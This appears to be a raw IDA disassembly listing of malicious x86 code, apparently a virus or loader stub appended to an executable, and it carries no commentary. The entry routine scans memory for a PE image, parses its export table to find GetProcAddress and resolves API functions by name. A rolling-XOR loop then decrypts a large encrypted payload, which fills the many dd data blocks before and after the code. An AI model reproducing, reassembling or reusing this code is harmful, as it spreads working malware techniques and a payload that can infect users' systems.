		dd 8FD986D9h, 47363E8h,	501B2E31h, 7AE38E05h, 42806691h
		dd 34434BD8h, 0C6A17581h, 0C63F350Dh, 5827CF5Ch, 0D38C540Dh
		dd 304F7FD4h, 0BC8F9965h, 1F90E288h, 94E3F378h,	0B3E21h
		dd 9B721E35h, 0B8B3459Eh, 3482E6ADh, 23304461h,	0D9A4F54Eh
		dd 8434FF3h, 7CBEEA36h,	1722ED3Dh, 0CCABBB70h, 0D853A6B9h
		dd 0E969074Dh, 700F2794h, 0BCC75025h, 0DBA02F49h, 59930F45h
		dd 405B5A25h, 9C37CA94h, 0FE10AD92h, 4F66A8Bh, 28FD05D7h
		dd 2407FA0Ah, 0CAC3B6A9h, 0AC5C843Ch, 55E29BAAh, 7DE72C33h
		dd 283800B9h, 212A184Eh, 0F0BBFAEDh, 83E9F12h, 68631649h
		dd 5222527Dh, 0D87395F6h, 0BF74F37Eh, 13CBEDF1h, 0A68A99FDh
		dd 515B2E48h, 9C9638D0h, 3BAF7E9h, 3DB386D9h, 207B33FCh
		dd 8AA28175h, 0F3D36600h, 0A4DE7048h, 813E7991h, 3C4F1A91h
		dd 5C235649h, 0BFCFF53Fh, 96CBFA23h, 2022982h, 7873C6A0h
		dd 459ED662h, 1DF32E31h, 57EFFA05h, 0D0D646Ch, 5A455111h
		dd 0A0E7D2C5h, 0F9575F4Ah, 9D9AE6B9h, 24670BB3h, 4C23C502h
		dd 0CF704266h, 0DCA01DA1h, 2B213E15h, 0A69EB5DEh, 377F2A2Ch
		dd 31BF045Ah, 0C4BE5028h, 0D899EDF1h, 65E9BF4Ch, 7B887629h
		dd 0B484DD35h, 8EBDEC1h, 73607C20h, 61F51B32h, 8C31720Dh
		dd 0CFC4F8D8h, 0C5694FAEh, 0E228D689h, 98DD81B5h, 0A9C8B04Ah
		dd 4CB72550h, 0F7F30618h, 0C4C68869h, 3A2EADB1h, 9F6F3ABCh
		dd 88FAC41Ch, 1CCB4EDDh, 20899B0Eh, 0AD24A35h, 0EA164D7Dh
		dd 0A7A7F2B4h, 76139ED7h, 0BFF0E513h, 285AB0B4h, 5F22427Dh
		dd 8F87F99Ah, 0ECFEF116h, 13F2DD9h, 443EB4B8h, 5DDE6171h
		dd 0DFAFBA44h, 0C8BA846Ch, 8C36C49Dh, 0E5647BBEh, 0C1F0A89h
		dd 0F3D166B2h, 0CB7C68Eh, 4F4478D8h, 45E9E79Ch,	0AD2C5609h
		dd 141702D9h, 0F9617BE2h, 29BCAA95h, 7833BFEBh,	36C52E6h
		dd 0DD99213Dh, 27EFFA05h, 0CB4C3E6Eh, 74776299h, 0A3A95E02h
		dd 49DCDEF2h, 1853DF8Bh, 91D8625Fh, 703B77EFh, 89C70F9Ah
		dd 6DB996C9h, 6352CD3Dh, 0E90B3E21h, 6C7F6A89h,	3DBCB965h
		dd 84879239h, 0DFCED071h, 5C2FB140h, 945FD69h, 64036136h
		dd 1F1E0629h, 2A22B30Ah, 2D53E680h, 0CEE2713Ah,	333B4E28h
		dd 0BCF6A8A0h, 62265FC9h, 1F97C284h, 82CE4561h,	5E3F6A6Ch
		dd 3E763D11h, 0B6C792D4h, 909B93D8h, 0AB1D0A85h, 0C8C3A941h
		dd 8B96FDDh, 2200DF8Ah,	774F0836h, 0D8AAACFCh, 27ABC78Dh
		dd 0C104DE15h, 202B5E6Ah, 0AB78FD68h, 6DC5C7F2h, 0BEBBEE1h
		dd 0ACC69820h, 0CE452ED9h, 0AD66EDD2h, 0D05B6E71h, 9B84B430h
		dd 0B38A84E5h, 36B8AADAh, 9F94A17Dh, 0BE9A053Ch, 532CD9C7h
		dd 4366D6F1h, 0B0BBAAA0h, 3B0A55Ah, 62A26AA2h, 14176219h
		dd 0F8B001h, 2B9BA65Eh,	384A281Ch, 71FEDF6Dh, 131B2E15h
		dd 5CD68880h, 0EDE65029h, 77B14913h, 0E2808AC3h, 37990CB9h
		dd 4A922111h, 2127320Dh, 0F97B4E51h, 0E2D06623h, 0A6561B4Ah
		dd 82D782C5h, 3577ABDEh, 94FC6A55h, 33749A6h, 0D8792ADh
		dd 90E2BC74h, 0A2F50C5h, 3DB7E396h, 0F4B2225Dh,	0E04F5ACEh
		dd 4CB48AF5h, 5B39F6E9h, 0C66181Dh, 0F03B0E11h,	0A05A2573h
		dd 2BA396FCh, 10987D45h, 404B7B5Fh, 1569AFDCh, 757E0659h
		dd 0C487EBB7h, 0A9F93B3Ch, 0CE3E7AC5h, 3793B6C3h, 0B4C26648h
		dd 0DFD39D01h, 4953CE3Ah, 98F96679h, 9DF10772h,	6504CE91h
		dd 3C4F2F65h, 679CEE8Ah, 5453B7F9h, 0EA0E37A1h,	0DFFFAAACh
		dd 69F0C510h, 6D437Dh, 6EE9120h, 23AFFA7Ch, 0C8B6967Ch
		dd 0BB77279Dh, 606F8FC5h, 85D63975h, 98EA48BCh,	0B5B6A3CDh
		dd 0BFBB91F9h, 0E9B00AA5h, 286363E9h, 9018C2B8h, 0C0CBFA6Bh
		dd 95CD2F5Ch, 0C0B086D9h, 44473BA0h, 0E72365BAh, 5CDBCB80h
		dd 48433629h, 7771174Dh, 0E0BBF304h, 0CF0DF9B5h, 0EFE21138h
		dd 5EA2BBECh, 0C87B0E68h, 0BC8FBE5Eh, 0EBDFDD02h, 94C7AF78h
		dd 3D90D21h, 9B8E9DD4h,	0CE36CFB8h, 4787D294h, 0D69059FEh
		dd 0D11AD93Ch, 0BF0C6E3Ah, 0E434365Eh, 0C82AB588h, 0B61E5AF6h
		dd 363AD1E6h, 0E77A06B4h, 423A026Bh, 0C08451C5h, 0ABB79442h
		dd 0D01A92FFh, 99BC8129h, 0A904EB76h, 0F8B33F73h, 0E093592Eh
		dd 1F5B9DA1h, 9C6FC207h, 74875A9h, 497AE936h, 206B264Fh
		dd 7F80C1C9h, 0F9AFCAB0h, 0DE9BB4FFh, 0D0D7CCA6h, 4853264Fh
		dd 1C4D2AE5h, 21577EA0h, 0B425D49h, 0B4BAD794h,	3347C69Ch
		dd 56444110h, 63DE6171h, 575045BAh, 0C1D4CBEAh,	30B8E1D3h
		dd 9F94A167h, 595C5D48h, 0C3572977h, 0D9180D32h, 8288CDC6h
		dd 835FDEAAh, 781EA9B6h, 1B58566Eh, 3F34FB65h, 4464992Ah
		dd 878C78B4h, 0BABFD662h, 0C228D1CEh, 1CEFECEDh, 0B72CDE29h
		dd 749F9DA2h, 0FDAB9E81h, 0E3552734h, 25FAE6B9h, 4027320Eh
		dd 0C5F07CAEh, 0BCCFA317h, 8EC11FEDh, 8E9AFC7Ch, 32DBB2Eh
		dd 32F46A15h, 0DE6D4565h, 0C1D7A92Ch, 0D3CD6BFEh, 1FD83AC5h
		dd 823767Fh, 3DB22D1Dh,	16EBDEC2h, 79DD6B6h, 0DC5C86F7h
		dd 646770B1h, 0C9BA02F2h, 0FCCFDB24h, 0AA4D50C6h, 597F82BDh
		dd 4FB4819Fh, 2C3DC9D7h, 0E8B98D19h, 7CCB98EEh,	909AAEB1h
		dd 768192D4h, 5DF34956h
		dd 0F4B7D6F2h, 951B3EB0h, 4C1F7E05h, 516D4613h,	4CB3CAD5h
		dd 0F042405h, 0A800C860h, 5981C5CBh, 146373E8h,	0E86E55A1h
		dd 0ECFFEA93h, 3835AE80h, 0EC5F122Dh, 0AFA484C5h, 0E8863FCFh
		dd 0C05F6A9h, 0F4838BB7h, 49EED641h, 0EE1F4A41h, 0E956D1D9h
		dd 0ECE7B2F9h, 0C5BB8E91h, 57F2DAACh, 2923167Dh, 91E0C749h
		dd 0C08BCAD0h, 0ADBFAAD6h, 0C5F39DEDh, 44076644h, 90AB5A34h
		dd 5CDBD0B8h, 0EF373329h, 405CDFDDh, 0D4AE9EC1h, 0FD5A3D2Bh
		dd 1813A6CDh, 50A7320Dh, 59C6CE58h, 0BE8FDA51h,	4D601FFEh
		dd 0D497FB53h, 0F484D621h, 0AC9795EAh, 504CB9A4h, 84879088h
		dd 0E9AD737Ah, 82C73A85h, 7FC8995h, 34352999h, 925E55C1h
		dd 79FCACCh, 86509AE7h,	9B9AADA5h, 0C5B901EEh, 7DCFDA24h
		dd 0A8C3F283h, 6A1C62BDh, 3A482833h, 3C452941h,	0CCC283EEh
		dd 0C4C7D2ADh, 9EEEBEB1h, 0A853CF08h, 4548B6E9h, 0F4B7F2B0h
		dd 997CBAF2h, 4C5F433Ah, 8893D3F4h, 154B2CDh, 0F218CE60h
		dd 0B9F8BE16h, 68232238h, 4457427Dh, 80233AAEh,	9F00EA95h
		dd 0C95C2EF1h, 918CEDD2h, 501B57D7h, 58A068C0h,	8883F67Bh
		dd 8DC51716h, 2AE05E01h, 28558B65h, 38D32659h, 97EFB8E6h
		dd 0B372BD93h, 0F1744ED7h, 28634624h, 47A8FB6h,	96B9FEA1h
		dd 2F9B965Eh, 3863EB3Ch, 0E3C4526Dh, 101B2E5Ch,	14957105h
		dd 4B4B7C28h, 0FF80E5AAh, 0E0921804h, 0FD5A3DB5h, 5813A6CDh
		dd 5027320Dh, 7363B953h, 8CA69617h, 0D14D2300h,	0A75CC2BDh
		dd 0F73B3F09h, 2C4B5B90h, 0B8B30659h, 7385E6ADh, 6433BFE9h
		dd 5D0C539h, 7B007A82h,	38450935h, 44188890h, 3912D3AAh
		dd 58139285h, 3A38D6BEh, 0BDA93F1Eh, 0FCCE08A2h, 8736ECC9h
		dd 0E197C289h, 38991767h, 0A42D1E03h, 341BF949h, 9E382D32h
		dd 9397E43Ah, 19986ACFh, 0C8838298h, 0E4F7E2DDh, 552D5F8Ch
		dd 0E2D2C326h, 9B932640h, 0E4B7DF08h, 9D5C4DD1h, 3C0F1AE5h
		dd 974B5522h, 146E3CC8h, 0D20C37A1h, 63FFEA95h,	0BDC4E69Fh
		dd 447261Ch, 0D05B6E71h, 34FDBD31h, 777C0FCEh, 1A3A29C7h
		dd 836B1E78h, 24548376h, 53C36CB2h, 0A4DE8448h,	0B8F1B791h
		dd 36C659D6h, 38615741h, 144F61BEh, 0F9B17B6Ah,	90D7AA95h
		dd 797386BDh, 451E5A2Fh, 85917E72h, 1CAFCE2Ah, 7C72B3DEh
		dd 7477621Dh, 0A6DF8E81h, 0DCB247B6h, 18A5E6B9h, 1016B7FAh
		dd 707B4E11h, 0A8FA9A67h, 6D145077h, 0D497F6CCh, 0F3E21h
		dd 0D9F56C60h, 0B8F37269h, 0B0B6175Ah, 90DBEEB1h, 575A3AC5h
		dd 0CA0171E3h, 0D6E120B7h, 6AE23536h, 265DB8F2h, 0AFB170BBh
		dd 0EF03A07Eh, 32B46A33h, 0AA72597Dh, 0A8A396F0h, 6F1F06B2h
		dd 0F5B4819Eh, 2C7F1327h, 0CD3793E6h, 7138D2ADh, 90DB97DFh
		dd 0A953EF7Ah, 454EB6E9h, 0F4B7DB87h, 19498B8Ch, 1E0E4A75h
		dd 2D6C6613h, 0A4E78BDBh, 0C5435B2Eh, 89F01AA5h, 68232F5Fh
		dd 616BD782h, 3506BEE1h, 0ECBFD2DBh, 1617326h, 0FB51126Dh
		dd 106EDAE4h, 8A0A3945h, 8883B6D0h, 0B4B74A5Eh,	0A365E41h
		dd 45F28B74h, 80D3660Ah, 6126FD3Dh, 0B0FB9B11h,	0FF8C9A20h
		dd 27D3A981h, 19787FCh,	0FD08FEA1h, 0AC95AAC5h,	0F9159AECh
		dd 284B7611h, 70085B40h, 0E3103EEDh, 0A04643D6h, 8B889923h
		dd 5F544C69h, 33F1AB4Ah, 2C459ED4h, 24028A1Fh, 981B4E51h
		dd 437065C0h, 0AC68AFFCh, 615AF2D9h, 4B066Fh, 0A773A9Eh
		dd 0BAB57CD8h, 0ECD1B7DEh, 0D024EEF1h, 5C45FE4Eh, 9DFC263Bh
		dd 347717E5h, 61E31A42h, 0B3A0D6CBh, 0DB50D3E5h, 4F8F768Bh
		dd 0D8C4F1EAh, 330255Ah, 0DC1B15A8h, 7F9782BDh,	4064C6D0h
		dd 3CD72A55h, 3AF30619h, 0F47FD2CDh, 789BAEB1h,	9C6F7A86h
		dd 45C3926Bh, 39FBC689h, 20D39D2Fh, 0A43F5349h,	98936679h
		dd 9483E606h, 71E1458Ch, 7C3B0908h, 8D5AFE09h, 9636BD82h
		dd 868ABEA5h, 0EFFDEF92h, 51F95B5Bh, 0AD485FB9h, 0BCFB1A19h
		dd 2Dh,	28CDh dup(0)

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		call	$+5
		push	ebp
		mov	ebx, [esp+8]
		mov	ebp, [esp+8+var_4]
		sub	[esp+8+var_4], 0DE05h
		and	ebx, 0FFFFF000h
		sub	ebp, 401005h


loc_418022:				; CODE XREF: start+3Dj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_418037
		mov	eax, [ebx+3Ch]
		add	eax, ebx
		cmp	word ptr [eax],	4550h
		jz	short loc_41803F


loc_418037:				; CODE XREF: start+29j
		sub	ebx, 100h
		jmp	short loc_418022
; ---------------------------------------------------------------------------


loc_41803F:				; CODE XREF: start+35j
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_41804D:				; CODE XREF: start:loc_418074j
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_418074
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_418074
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_418074
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_418079


loc_418074:				; CODE XREF: start+57j	start+60j ...
		loop	loc_41804D
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418079:				; CODE XREF: start+72j
		sub	[esp+0Ch+var_C], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_41809F+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_4180FD+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_41809F:				; CODE XREF: start+90p
		add	gs:[ebx-1], dl
start		endp ; sp-analysis failed

		setalc
		mov	[ebp+402407h], eax
		call	near ptr loc_4180BB+1
		inc	ebx
		jb	short loc_418117
		popa
		jz	short loc_41811A
		inc	ebp
		jbe	short near ptr loc_41811C+1
		outsb
		jz	short near ptr loc_4180FA+2


loc_4180BB:				; CODE XREF: seg002:004180AAp
		add	[ebx-1], dl
		setalc
		mov	[ebp+40240Bh], eax
		call	sub_4180D7
		inc	edi
		db	65h
		jz	short loc_41811A
		popa
		jnb	short sub_418145
		inc	ebp
		jb	short near ptr sub_418145+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_4180D7	proc near		; CODE XREF: seg002:004180C5p

; FUNCTION CHUNK AT 00418155 SIZE 0000000A BYTES

		push	ebx
		call	esi	; CloseServiceHandle
		mov	dword ptr ss:loc_40240F[ebp], eax
		call	sub_41812A
		test	eax, eax
		jz	short loc_41810A
		push	eax
		call	dword ptr ss:loc_40240F[ebp]
		test	eax, eax
		jnz	short loc_418104
		lea	eax, loc_401155[ebp]


loc_4180FA:				; CODE XREF: seg002:004180B9j
		mov	dl, [eax-1]


loc_4180FD:				; CODE XREF: start+98j
		call	sub_418145
		jmp	short loc_418155
; ---------------------------------------------------------------------------


loc_418104:				; CODE XREF: sub_4180D7+1Bj
		call	dword ptr [ebp+402407h]


loc_41810A:				; CODE XREF: sub_4180D7+10j
		pop	ebp
		retn
sub_4180D7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_41810C:				; CODE XREF: sub_41812A+2p
		pop	edx
		push	0
		push	0
		push	0
		push	0
; ---------------------------------------------------------------------------
		db 68h,	1
; ---------------------------------------------------------------------------


loc_418117:				; CODE XREF: seg002:004180B0j
		add	[eax+eax], al


loc_41811A:				; CODE XREF: seg002:004180B3j
					; seg002:004180CBj
		mov	eax, esp


loc_41811C:				; CODE XREF: seg002:004180B6j
		push	0
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; ---------------------------------------------------------------------------
		push	esi
		push	esp
		pop	edi
		xor	eax, [eax]

; =============== S U B	R O U T	I N E =======================================



sub_41812A	proc near		; CODE XREF: sub_4180D7+9p
		xor	ecx, ecx
		call	loc_41810C
		lea	edx, loc_401125[ebp]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+40240Bh]
		add	esp, 20h
		retn
sub_41812A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418145	proc near		; CODE XREF: seg002:004180CFj
					; sub_4180D7:loc_4180FDp ...
		mov	dh, dl
		mov	ecx, 12B2h


loc_41814C:				; CODE XREF: sub_418145+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_41814C
		retn
sub_418145	endp

; ---------------------------------------------------------------------------
		db 0B1h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4180D7


loc_418155:				; CODE XREF: sub_4180D7+2Bj
		xor	al, bh
		xchg	eax, ebx
		sal	byte ptr ds:9C0BD726h, 1
		outsb
; END OF FUNCTION CHUNK	FOR sub_4180D7
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0DCAEFD0Ch, 636649B5h, 216185D4h, 0EBE82B1Dh, 0DA370C5Ch
		dd 33C2F533h, 0E3EF2069h, 723959E8h, 5BEDA0E1h,	5F23E170h
		dd 7545A1Ch, 5EE536B8h,	8F9E0927h, 5CBD1981h, 17666180h
		dd 0CF6DF2C8h, 5CED7DE6h, 63A20138h, 3CF34C1Ch,	833AC9FCh
		dd 0AFFE15A5h, 0E63D110Ah, 37C6F1AFh, 7F45596Dh, 40F1A2ECh
		dd 8367ACE7h, 0CC96A524h, 0D551017h, 229F6DBCh,	93A22180h
		dd 464460C9h, 0BE99B948h, 33AD9F33h, 0C90ECAB0h, 3E76365Ch
		dd 33AB5C95h, 44CD8D9Ch, 0E48BAD2Bh, 6B81EB74h,	3B89B17Fh
		dd 6AB19DEDh, 0C35245ABh, 2F6E1F7h, 0BA1EE6F8h,	98A15202h
		dd 0D24871AAh, 97E235ECh, 5BAA91C8h, 8A91BD0Dh,	0E372A5CBh
		dd 23F98511h, 9445F78Ch, 472ECD76h, 0F34691E0h,	5FC755CEh
		dd 7AA04E64h, 3F8FB57Ch, 96ADA1F1h, 0C75641AFh,	8ADA2310h
		dd 540B123Ch, 0FB62F124h, 0D72675C1h, 64149A61h, 6AE97B3h
		dd 2918CBF3h, 0C3B5102Bh, 5A1149D8h, 54038E9Fh,	33829104h
		dd 9C011EBh, 0BDE2A657h, 31CE1D6Ch, 0FDEA564h, 48C35AF4h
		dd 461A299Ch, 0CFC81AC9h, 0DE6BC240h, 574226B9h, 4823C8C8h
		dd 9FEFDA64h, 0D00F8250h, 27768530h, 15680DD7h,	2A75B263h
		dd 738235F7h, 0B887A5DBh, 0BB69586Dh, 248BD6ACh, 7CD26154h
		dd 0C219E444h, 0B1A8A3Fh, 0EB81E037h, 9A0131C0h, 0D8A784BBh
		dd 5B496D8Dh, 210895CCh, 367FBE6Fh, 67F611CBh, 7343A14Ah
		dd 0EF548DDCh, 0D95255CAh, 5C53EA9Bh, 0B88A990Ch, 0C626BD28h
		dd 481261E8h, 0CD64FA0h, 219E83F4h, 5D5CC7FCh, 0EA4A71AAh
		dd 0FDE635DCh, 0A4C0A848h, 0BCFB425Ch, 0BC32C1F4h, 0A809C0CDh
		dd 9447DADCh, 2FCB40E3h, 4A42D1F0h, 0B70653ABh,	0DE39F6E3h
		dd 2F8E30ADh, 86DFA1B0h, 0C75676FAh, 1E57C987h,	4FDEFAB5h
		dd 70F74E52h, 3F2635E0h, 9BEA399Eh, 34C19200h, 5122B165h
		dd 8B5FF3BDh, 0FD9F2EFDh, 0ACB613Dh, 0CCD2D161h, 0B7628671h
		dd 0AC8FD0A8h, 2FCE5D48h, 29B28B64h, 0A0C35A0Bh, 4E1A299Ch
		dd 0B0AB72BCh, 5A09BD6h, 7DB23E52h, 0CAC22BC9h,	0CCEE3D8Ch
		dd 1D74535h, 5526A261h,	8753FFB1h, 0AF9B2AF9h, 6457EE36h
		dd 0BC869500h, 0AD1CCF2Ch, 40590BFCh, 0C3F6B2E5h, 57526634h
		dd 0CCF56AFh, 0A51E2D98h, 6CE05B80h, 1782CED1h,	1A420008h
		dd 0F4B97DCCh, 87FEC871h, 0F2495200h, 2B3AED6Bh, 4ABD7BEFh
		dd 0B3427557h, 88914164h, 7BAEAEBDh, 8B8E18ECh,	3D9127ECh
		dd 78385770h, 2192CD4Ch, 0F074C7FCh, 93061E55h,	0E326B084h
		dd 0BF426A94h, 2C6EBD0Fh, 0D3D11019h, 8301C0ADh, 43CF0918h
		dd 23400C9Dh, 0A71291E0h, 0E75703F4h, 0EE354A38h, 3FCEF91Fh
		dd 770B6175h, 0E3629ABBh, 7C5FA670h, 0A79EAD18h, 0EC9D4F09h
		dd 0D0B38A97h, 70EA79ACh, 776A7CD4h, 7472C111h,	0C331102Bh
		dd 3A1349D8h, 0FF41F2A0h, 33DA8978h, 0F7468DDDh, 0BB0A525Ch
		dd 7FCE1D6Dh, 4392E130h, 756A5F4h, 34493FE9h, 0CFFA3EE9h
		dd 0FFFB5A40h, 0EC137580h, 8CE9972Ah, 0C9B10FBFh, 16C67339h
		dd 5305A914h, 855FE5AAh, 0CA8C0E9Ch, 35A76501h,	76E3B94Dh
		dd 9E38DAE8h, 0F96B29CDh, 0CEB74D19h, 2EE69555h, 0B1BCE96h
		dd 0AE7B1FFFh, 0E1B254F4h, 24C3962Bh, 586AF87Bh, 0AB4F18BEh
		dd 0CE9713F5h, 33D3713Bh, 4A1FBB70h, 9D7D8DB8h,	0D67630C5h
		dd 12B47D30h, 788ABD49h, 8B2FF89Eh, 0AC7D35D5h,	0EBB34D18h
		dd 18A8DA48h, 7C2ECC92h, 0D3561EA8h, 0E38F4DC1h, 3ED8911Ch
		dd 586ED96Dh, 8A74F5B5h, 0D3B720F8h, 9D37B2Ch, 5C1BB969h
		dd 960591A1h, 0DB6F13D0h, 1A34A0Dh, 5AC9DD49h, 6F3BE784h
		dd 0AA7F31D1h, 0EE9D291Dh, 2BF1A048h, 5B07DD75h, 0BB421BA5h
		dd 0DCEA78EDh, 3AFA8929h, 4A34B17Dh, 8678E0B8h,	0ABBB2CF5h
		dd 3BCA681Bh, 63F2BC45h, 0B62EE185h, 0CF6F1EA8h, 0CBC783Ah
		dd 43FC8E59h, 5122C0B3h, 0A2691BDDh, 0F79B4313h, 3CEEF101h
		dd 7E2AD165h, 0A94B0BAAh, 0D2EE7CF5h, 0AE47131h, 4139B271h
		dd 8E56E09Eh, 0CA8E029Ch, 1FAB570Eh, 47E79841h,	9C24F098h
		dd 0CF415DEDh, 0F1824F15h, 34F3865Bh, 790AA98Bh, 0BC7B0ED3h
		dd 0D5D002F3h, 23D5872Dh, 7418E908h, 0AC5D18AFh, 0C6BC73A3h
		dd 34B6712Ch, 423CBD7Dh, 9B7FE8B0h, 0D16B23D4h,	4A36111h
		dd 5ED9D969h, 9327DB98h, 0AE7B35D5h, 0EB852511h, 4BEA8C5Dh
		dd 6E33C3A9h, 0B64B27B0h, 0D1807AF3h, 5BCF9521h, 6B1CD45Ah
		dd 0A25EE0A5h, 0C49929F8h, 2C85E58h, 4638A868h,	0BD42F48Ch
		dd 0DD6214D0h, 2BBE6A1Dh, 56F8B45Eh, 6635C49Ch,	0AC7931C7h
		dd 0C5DA471Dh, 2AECAE48h, 5507C561h, 0D74319ADh, 0E9A94DC6h
		dd 3ADA9C29h, 401DB340h, 0E745F6B1h, 0D9B93DD6h, 0ACA6C39h
		dd 50EDA370h, 0B235E681h, 0CF4459D0h, 29BE7C21h, 0CE58459h
		dd 6433F692h, 0A57500CCh, 0C0AA637Ch, 3CC9430h,	7205DA76h
		dd 0B47E0ABBh, 9F8058E7h, 11E2751Eh, 4413B17Bh,	9953DFACh
		dd 0C39F38E8h, 1CAF742Dh, 7986AC56h, 9238CE9Ch,	0D65838D8h
		dd 0E2A75502h, 2AF3A858h, 0B23DB97h, 9A7219EEh,	0FC8158EEh
		dd 23F59020h, 7C04D07Ah, 0B16F1298h, 0D7A128E3h, 0D86C26h
		dd 6A299E18h, 9D5FF98Fh, 0B37224D4h, 4A97907h, 58E5AA4Dh
		dd 0FF3AF887h, 0AD7C0ED3h, 87A24611h, 23EE8C5Fh, 6D2ADE93h
		dd 0BE431FB9h, 0F29435E1h, 28AA8F2Bh, 1F0AD369h, 8851EEA3h
		dd 0EEF631F1h, 19DF7D36h, 6C0AA872h, 9631FE8Ch,	0D36834ECh
		dd 32CA7C04h, 4DEBA942h, 4426C49Eh, 0A85511D1h,	0E8BF4716h
		dd 1CFA8848h, 7616D074h, 0A3483CC4h, 0FE844BEDh, 3ADEB238h
		dd 6A72807Eh, 9553F1BAh, 0E48E2CF6h, 3AD0682Ch,	33C3BD52h
		dd 9232FBADh, 0CF6F37DAh, 1BAF783Eh, 26FE8876h,	5112E4F4h
		dd 0F85339F9h, 0C39A034Eh, 36F0F10Ch, 780AF663h, 0BE611CBBh
		dd 0FABC3DF5h, 6C24E37h, 5E138E7Ah, 0EB7BF19Dh,	0FE9928CEh
		dd 0AB07415h, 42EAB472h, 0BA32DC8Dh, 0D86B0FACh, 0D5A64423h
		dd 22E38955h, 0B1BD1BDh, 0E41B843Fh, 938A6048h,	0DA4EF544h
		dd 71699D44h, 8E2B17CCh, 0A69812C0h, 0ECE6C9DFh, 412E99CCh
		dd 0BC6CDC9Ch, 97A9C45Fh, 0B3451524h, 941F2624h, 7C4EDDC8h
		dd 94D16974h, 9349A0F9h, 0B4A9E978h, 655EC7ACh,	0B8B78EC6h
		dd 12E675A0h, 0BD58D88h, 1F368464h, 89E60AD0h, 0CD3ACE94h
		dd 6BBA615Ch, 2D14CD0Ch, 9B42FBB2h, 0B7060D9Dh,	289B1902h
		dd 9C1B227Ch, 5C52E1D4h, 0C0839AEDh, 0EDA695Ch,	0C4D599C3h
		dd 5376398Dh, 5A2A96C4h, 0DBFA391Dh, 87FFE4Ch, 0A8A03E43h
		dd 0A7121251h, 0D275C498h, 87BE0D4Fh, 0CC7D2E78h, 0D3DD106Fh
		dd 348759E8h, 7FCE0EAAh, 0BC6DA6D8h, 98D32E0Bh,	4E1A299Ch
		dd 2D559BCh, 53B122CFh,	0E8545D04h, 1CA18637h, 77BBFED3h
		dd 63B20150h, 8F9B4449h, 0D83AC9C0h, 917BC055h,	22C2517Ch
		dd 67D78470h, 6EB5C8B9h, 0BF4E799Bh, 7CF625F7h,	7B2E2A1h
		dd 0F98F4F8h, 0CFF638BCh, 0CEE23180h, 4F7118C5h, 0E400B948h
		dd 0C78CE841h, 0F1A241D0h, 67922599h, 0EFF9C932h, 6AF9EBD0h
		dd 0B3424948h, 0F20135A9h, 3BCAC1C2h, 0FF649DC8h, 0C278A2EDh
		dd 0B429241Eh, 0B49E9AC7h, 7B9E28E9h, 0D3291930h, 476D3584h
		dd 67FAFA13h, 6680881h,	59B98190h, 0A7F64498h, 6AB283D3h
		dd 0D77DCD1Ch, 78225ACBh, 0D6A0A66Fh, 998D1C1Ch, 0BC4C36D9h
		dd 8805AE37h, 0B9D3660h, 0CBB07D28h, 0B0F4BF6Dh, 37C924FFh
		dd 13A57584h, 0A47FB284h
		dd 74AEBD68h, 249842C7h, 0E75C8213h, 0FC734970h, 0FAD7CE5Fh
		dd 33C2F421h, 0FF4E11E1h, 0B48999Bh, 7E5B9476h,	0B492A115h
		dd 66142816h, 0BED39712h, 678BEE9Dh, 53A2F140h,	8F8B3459h
		dd 502A39D1h, 0DFCB3811h, 47CE8250h, 0A379C51Ch, 0EB3A8961h
		dd 0ADF6A11Dh, 1B961160h, 3786D420h, 0DF1D0C17h, 43855DECh
		dd 87F6A5FDh, 1796E535h, 0FB2A992h, 991E6DBCh, 0C4E265D2h
		dd 73F560BBh, 0D259B948h, 0DE2AEA41h, 0F2A34190h, 0DE7073Eh
		dd 2B7AA119h, 106CCDDCh, 0F3267635h, 81438364h,	6FDA825Ch
		dd 0FF4F9984h, 77ED36B0h, 87D40550h, 0A80F1638h, 565EEDD8h
		dd 0C556B145h, 1CB62167h, 9AA939Ch, 0E038EA5Dh,	0A3160E45h
		dd 67731C94h, 94ECD92Dh, 6F5ACA89h, 0B7151CE0h,	0F36C02F6h
		dd 7F5D9430h, 948EDD2Dh, 133861C3h, 97BD96EDh, 0DB8A7928h
		dd 0B0CCBD6Ch, 53469E95h, 0DFE2F4C4h, 64EA398Ah, 0A0A6D938h
		dd 63561285h, 72C9D6D4h, 0ABBA6D4Bh, 6FBACF01h,	4688EFA0h
		dd 7ACDD3E5h, 0BB4A4D2Ch, 0EA43048Fh, 43D2F130h, 0F80074F7h
		dd 0C4DAED6Ah, 8FDF32F4h, 4326FE40h, 9766B505h,	0CB5F43F6h
		dd 9FD0BDCAh, 62B3855Fh, 19F6C514h, 0ADCBFCF8h,	0E6AE731Dh
		dd 31B7562Eh, 71401AAFh, 3561D6E9h, 0EE0E37FDh,	162D7226h
		dd 47D6C1FFh, 49B92A1h,	0CF1EB239h, 0A167BC80h,	3DA6B558h
		dd 1B66D108h, 8C7E7DCCh, 8739D46Fh, 6B8B0514h, 247AC918h
		dd 0EF3E3259h, 0B3B3B8A0h, 49471564h, 6DC38B78h, 0FFEB18E3h
		dd 59161B0h, 8AEA897Ch,	4B036D37h, 2F62ADFCh, 0EF8E82B5h
		dd 1B633ABEh, 0F6AAF948h, 3F4E9D01h, 8413BCF0h,	0D88331F1h
